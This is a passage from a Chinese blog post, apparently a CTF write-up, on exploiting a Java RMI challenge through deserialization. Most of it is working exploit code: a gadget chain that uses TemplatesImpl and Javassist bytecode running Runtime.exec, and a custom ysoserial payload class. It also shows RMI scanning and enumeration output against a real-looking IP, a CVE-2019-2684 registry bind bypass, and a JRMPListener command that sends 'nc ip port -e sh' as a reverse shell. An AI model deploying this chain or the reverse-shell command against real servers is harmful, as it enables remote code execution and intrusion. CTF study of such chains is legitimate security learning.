//        // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
//        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
//        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
//        Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
//                new Class[]{Friend.class, Templates.class}, ofdHandler);
//
//        // 接下来代理  UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
//        HashMap<String, Object> map2 = new HashMap<>();
//        map2.put("getGirlFriend", typeTemplateProxy);
//
//        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
//
//        Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
//        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy

        // 下面缺参数User,直接代理一个User
        final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler);

//        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
//                new Class[]{UserInter}, newInvocationHandler);

        // 初始化 Gadget
        Class<?>       clazz2 = Class.forName("com.ctf.threermi.Gadget");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Object objects = cons.newInstance();

        setValue(objects,"mName","newTransformer");
        setValue(objects,"user",userr);

        serialize(objects);
        unserialize("ser1.bin");

    }
}

这个还是有问题,我们修改一下UserImpl

结果

package exp;

import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.MyInvocationHandler;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;

import static exp.RealDemo.getTemplatesImpl;
import static exp.RealDemo.setValue;
import static sun.reflect.misc.FieldUtil.getField;

class UserImpl implements UserInter {
    Registry registry;
    {
        try {
            registry = LocateRegistry.getRegistry(5004);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String sayHello(String paramString) throws RemoteException {
        return null;
    }

    @Override
    public Friend getGirlFriend() throws RemoteException {
        FactoryInter factoryInter = null;//annotationInvocationHandler
        try {
            final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2);
            allIfaces[0] = FactoryInter.class;
            allIfaces[1] = Remote.class;
            factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory")));
        } catch (Exception e) {
            e.printStackTrace();
        }

        final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        try {
            setValue(myInvocationHandler,"object",factoryInter);
        } catch (Exception e) {
            e.printStackTrace();
        }
        final Friend friend = (Friend)Proxy.newProxyInstance(myInvocationHandler,Friend.class, Templates.class);
        return friend;

    }
}
class FactoryImpl implements FactoryInter{
    String cmd;
    @Override
    public Object getObject() {
        try {
            TemplatesImpl templates = new TemplatesImpl();
            setValue(templates, "_name", "aaa");
            getTemplatesImpl(this.cmd);
            setValue(templates, "_name", "aaa");

            byte[] code = getTemplatesImpl("calc");
            byte[][] bytecodes = {code};
            setValue(templates, "_bytecodes", bytecodes);
            setValue(templates, "_tfactory", new TransformerFactoryImpl());
            return templates;
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

public class RealDemo {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static void main(String[] args) throws Exception {

        //RmiServer的代码
        Registry registry = LocateRegistry.createRegistry(7777);
        FactoryImpl factoryImpl = new FactoryImpl();
        // bind可以绑多个
        registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));

        userImpl user = new userImpl();
        registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777));

        //制造ref
        //        ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
        InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
        Field field =  ref.getClass().getSuperclass().getDeclaredField("ref");
        field.setAccessible(true);
        UnicastRef unicastRef =  (UnicastRef)field.get(ref);
        LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref");
        TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep");
        setValue(tcpEndpoint,"host","8.129.42.140");

        //RemoteObjectInvocationHandler
        Class<?>  c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref);

//由于失去了AnnouceInvocationHandler,这些都不用了
//        // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl
//
//        // test :  factory.toString();
//
//        //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
//        //并且会调用 method.invoke(返回值,args)
//        //此时返回值被我们使用动态代理改为了 TemplatesImpl
//        //接下来需要 method 是 newTransformer(),就可以触发调用链了
//        Class<?>       clazz          = Class.forName("com.ctf.threermi.MyInvocationHandler");
//        Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
//        ofdConstructor.setAccessible(true);
//        // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
//        //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//        InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
//        setValue(ofdHandler,"object",factory);
//
//        //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//        //hashMap.get(1);
//        // MyInvocationHandler 本身就是个 InvocationHandler
//        // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
//        // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
//        // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
//        Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
//                new Class[]{Friend.class, Templates.class}, ofdHandler);
//
//        // 接下来代理  UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
//        HashMap<String, Object> map2 = new HashMap<>();
//        map2.put("getGirlFriend", typeTemplateProxy);
//
//        InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
//
//        Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
//        // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy

        // 下面缺参数User,直接代理一个User
        final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler);

//        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
//                new Class[]{UserInter}, newInvocationHandler);

        // 初始化 Gadget
        Class<?>       clazz2 = Class.forName("com.ctf.threermi.Gadget");
        Constructor<?> cons   = clazz2.getDeclaredConstructors()[0];
        cons.setAccessible(true);
        // 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())
        // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
        //Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        Object objects = cons.newInstance();

        setValue(objects,"mName","newTransformer");
        setValue(objects,"user",userr);

        serialize(objects);
        unserialize("ser1.bin");

    }
}

里面还有问题,算了,应该学学魔改Yso,不应该手搓的

仔细一想还是效率的原因,手搓bug太多了

exp

URLDNS

https://github.com/qtc-de/remote-method-guesser

效果挺好,记录一下当时

PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar scan 8.129.42.140 --ports 1098-8081
[+] Scanning 6984 Ports on 8.129.42.140 for RMI services.
[+]
[-]     Caught unexpected java.rmi.ConnectIOException during portscan operation.
[-]     Please report this to improve rmg :)
[-]     StackTrace:
java.rmi.ConnectIOException: Exception creating connection to: 8.129.42.140; nested exception is:
        java.net.SocketTimeoutException: Connect timed out
        at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:637)
        at java.rmi/sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:217)
        at java.rmi/sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:204)
        at java.rmi/sun.rmi.server.UnicastRef.newCall(UnicastRef.java:345)
        at eu.tneitzel.rmg.networking.RMIEndpoint.unmanagedCall(RMIEndpoint.java:263)
        at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.scanAct(PortScanner.java:248)
        at eu.tneitzel.rmg.operations.PortScanner$PortScanWorker.run(PortScanner.java:182)
        at java.base/java.util.concurrent.ForkJoinTask$RunnableExecuteAction.exec(ForkJoinTask.java:1423)
        at java.base/java.util.concurrent.ForkJoinTask.doExec(ForkJoinTask.java:387)
        at java.base/java.util.concurrent.ForkJoinPool$WorkQueue.topLevelExec(ForkJoinPool.java:1312)
        at java.base/java.util.concurrent.ForkJoinPool.scan(ForkJoinPool.java:1843)
        at java.base/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1808)
        at java.base/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:188)
Caused by: java.net.SocketTimeoutException: Connect timed out
        at java.base/sun.nio.ch.NioSocketImpl.timedFinishConnect(NioSocketImpl.java:546)
        at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:592)
        at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
        at java.base/java.net.Socket.connect(Socket.java:751)
        at eu.tneitzel.rmg.networking.TimeoutSocketFactory.createSocket(TimeoutSocketFactory.java:57)
        at java.rmi/sun.rmi.transport.tcp.TCPEndpoint.newSocket(TCPEndpoint.java:619)
        ... 12 more
[+]     [HIT] Found RMI service(s) on 8.129.42.140:1099  (Registry, DGC)
[+]     [13967 / 13967] [#############################] 100%
[+]
[+] Portscan finished.
PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar enum 8.129.42.140 1099
[+] RMI registry bound names:
[+]
[+]     - ctf
[+]             --> com.ctf.threermi.UserInter (unknown class)
[+]                 Endpoint: 172.19.0.2:46483  CSF: RMISocketFactory  ObjID: [-28f27ab1:18df04e8ec1:-7fff, 1001789442495291446]
[+]
[+] RMI server codebase enumeration:
[+]
[+]     - The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+]     - Caught ClassNotFoundException during lookup call.
[+]       --> The type java.lang.String is unmarshalled via readObject().
[+]       Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+]     - Caught ClassCastException during lookup call.
[+]       --> The server ignored the provided codebase (useCodebaseOnly=true).
[+]       Configuration Status: Current Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+]     - Caught NotBoundException during unbind call (unbind was accepted).
[+]       Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+]     - Caught Exception containing 'no security manager' during RMI call.
[+]       --> The server does not use a Security Manager.
[+]       Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+]       Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+]     - Caught IllegalArgumentException after sending An Trinh gadget.
[+]       Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+]     - Caught NoSuchObjectException during activate call (activator not present).
[+]       Configuration Status: Current Default

主要是注意到CVE-2019-2684,待会可以

PS D:\study\rmg> java -jar .\rmg-5.0.0-jar-with-dependencies.jar bind 8.129.42.140 1099 8.129.42.140:1234 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+]     Encountered no Exception during bind call.
[+]     Bind operation was probably successful.

测试一下yso联动(urldns)

 D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 1234 URLDNS "http://2b7faf67a3.ipv6.1433.eu.org"

image-20240304141024000

image-20240304141752039

urldns可以,但是比较蛋疼的是绑了一次就要使用rebind

构造好exp -》 jar包(yso)

要用这种方法

image-20240304142937828

主清单是GeneratePayload

build成后有个签名报错

image-20240304143057639

解决方法是压缩包工具打开jar并删除签名文件

image-20240304143159799

llt大哥听了表示无语

image-20240304143240103

RCE

rceExp

package ysoserial.payloads;

import com.ctf.threermi.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;

/*
/*
    Gadget chain:
        Gadget.readObject()
            UserInter(Proxy).getGirlFriend()
                RemoteObjectInvocationHandler.invoke()
                    UnicastRef.invoke()
                        StreamRemoteCall#executeCall()
                            UserInter.getGirlFriend()
                        Templates(Proxy).newTransformer()
                     MyInvocationHandler.invoke()
                        FactoryInter(Proxy).getObject()
                            RemoteObjectInvocationHandler.invoke()
                                UnicastRef.invoke()
                                    StreamRemoteCall#executeCall()
                                        FactoryInter.getObject()
             Method.invoke()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        TemplatesImpl.TransletClassLoader.defineClass()
                                            Pwner*(Javassist-generated).<static init>
                                                Runtime.exec()
 */
 */
class UserImpl implements UserInter {
    Registry registry;
    {
        try {
            registry = LocateRegistry.getRegistry(7777);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String sayHello(String paramString) throws RemoteException {
        return null;
    }

    @Override
    public Friend getGirlFriend() throws RemoteException {
        FactoryInter factoryInter = null;//annotationInvocationHandler
        try {
            final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2);
            allIfaces[0] = FactoryInter.class;
            allIfaces[1] = Remote.class;
            factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory")));
        } catch (Exception e) {
            e.printStackTrace();
        }

        final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
        try {
            Reflections.setFieldValue(myInvocationHandler,"object",factoryInter);
        } catch (Exception e) {
            e.printStackTrace();
        }
        final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class);
        return friend;

    }
}
class FactoryImpl implements FactoryInter{
    String cmd;
    @Override
    public Object getObject() throws Exception {
        return Gadgets.createTemplatesImpl(this.cmd);
    }
}

public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> {

    public Object getObject(final String command) throws Exception {
        int evilServerPort = 7777;
        Registry registry = LocateRegistry.createRegistry(evilServerPort);
        UserImpl user1 = new UserImpl();
        registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort));
        FactoryImpl factoryImpl = new FactoryImpl();
        Reflections.setFieldValue(factoryImpl,"cmd",command);
        registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
//        ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
        InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));

        Field field =  ref.getClass().getSuperclass().getDeclaredField("ref");
        field.setAccessible(true);
        UnicastRef unicastRef =  (UnicastRef)field.get(ref);
        LiveRef liveRef = (LiveRef) Reflections.getFieldValue(unicastRef,"ref");
        TCPEndpoint tcpEndpoint = (TCPEndpoint)Reflections.getFieldValue(liveRef,"ep");
        Reflections.setFieldValue(tcpEndpoint,"host","10.122.207.125");

        RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler((RemoteRef) Reflections.getFieldValue(ref,"ref"));
        final UserInter user = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class,Remote.class},remoteObjectInvocationHandler);
        Gadget gadget = new Gadget();
        Reflections.setFieldValue(gadget,"user",user);
        Reflections.setFieldValue(gadget,"mName","newTransformer");

        return gadget;
    }
    public static void main(String[] args) throws Exception {
        PayloadRunner.run(TCTF3rmiExp.class, args);
    }

}

本地可以复现,注意LocateRegistry.getRegistry(7777);和evilPort要一致

image-20240308005125053

D:\study\jdk\jdk8u65\bin\java.exe -cp .\ysoserial.jar ysoserial.exploit.JRMPListener 4444 TCTF3rmiExp 'nc ip port -e sh'

远程复现不了,不知道为什么,也试过jdk版本了,本地windows起了一个一模一样的环境,也没有办法复现

image-20240308010719786

这些回显都有,所以我怀疑还是附件有毛病

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇